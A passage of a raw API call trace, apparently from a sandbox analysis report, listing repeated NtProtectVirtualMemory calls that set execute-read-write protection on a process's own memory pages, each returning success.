NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.804] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.825] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.866] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.886] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.919] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.083] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.103] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.135] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.221] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.242] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.304] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.381] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.436] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.489] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.506] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.521] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.591] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.608] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.684] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.701] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.744] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.814] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.846] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.874] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.890] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.916] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.932] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0277.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.000] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.016] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.032] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.089] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.133] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.163] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.205] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.223] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.284] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.328] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.442] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.485] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.502] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.548] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.635] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.652] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.679] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.723] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.739] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.756] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.827] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.870] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.897] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.914] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.938] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.955] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0278.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.059] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.073] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.089] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, 